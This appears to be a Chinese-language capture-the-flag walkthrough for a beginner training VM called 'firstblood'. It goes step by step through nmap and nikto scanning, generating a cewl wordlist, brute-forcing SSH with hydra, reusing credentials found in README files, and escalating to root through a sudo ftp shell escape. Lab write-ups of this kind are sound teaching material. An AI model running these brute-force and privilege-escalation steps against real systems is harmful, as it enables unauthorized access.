Description
A VERY beginner friendly box with a LOT of hand holding.
Once the system grabs an IP, head straight to the web port before scanning.
You will find your first set of instructions which starts the guided process.
Created in Virtualbox.
Goal: Get the root flag.
Your feedback is appreciated – Twitter: @iamv1nc3nt
这是一个新手向的靶机,教你如何渗透一台机器,每个步骤都有相应提示。
Walkthrough
获取靶机IP地址
sudo arp-scan -I eth0 -l
获取到IP10.0.2.20
直接访问网页
查看网页源码
根据提示访问rambo.html
使用nmap进行端口扫描
nmap -p- 10.0.2.20
发现开放60022端口
扫描web目录
nikto -h http://10.0.2.20/
发现另一个网站目录/johnnyrambo/,浏览器访问
接下来是ssh爆破,用cewl爬取网站生成一个wordlist
cewl -w words.txt -d 1 -m 5 http://10.0.2.20/johnnyrambo/
统计行数
wc -l words.txt
137 words.txt
访问ssh.html
破解johnny的密码
hydra -l johnny -P words.txt -v 10.0.2.20 ssh -s 60022 -t 4
破解成功,通过ssh登陆系统
ssh johnny@10.0.2.20 -p 60022
登陆系统后,打开当前目录里的README.txt
由提示,可以用以下命令查看本地web目录
cat /etc/nginx/sites-enabled/default | grep -v "#"
进入/var/www/html/ ,发现另一个README.txt
查找README.txt文件
find / -type f -readable 2>/dev/null | grep README.txt
# 2>/dev/null 2为标准错误,将标准错误重定向到/dev/null
查看/opt/README.txt
得到一个账号密码
username: blood
password: HackThePlanet2020!!
切换用户
su - blood
登陆成功,发现blood用户目录下的README.txt,得知在/home目录下其他用户文件夹可能会有一些文件
进入sly用户文件夹发现两个文件,但仅有一个可读,权限不足。
通过sudo -l 查看当前用户权限
sudo -l
blood用户可以用sudo执行/bin/cat,查看/home/sly/README.txt
sudo -u sly /bin/cat /home/sly/README.txt
得到sly用户的密码:SylvesterStalone
切换用户sly
查看用户权限
sly@firstblood:~$ sudo -l
Matching Defaults entries for sly on firstblood:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sly may run the following commands on firstblood:
(ALL) /usr/bin/ftp
(root) NOPASSWD: /usr/bin/esudo-properties
利用sudo,可以root权限执行ftp。
在GTFOBins网站,可以找到获取root权限的方法
sly@firstblood:~$ sudo ftp
[sudo] password for sly:
ftp> !/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#
ok。成功拿到root权限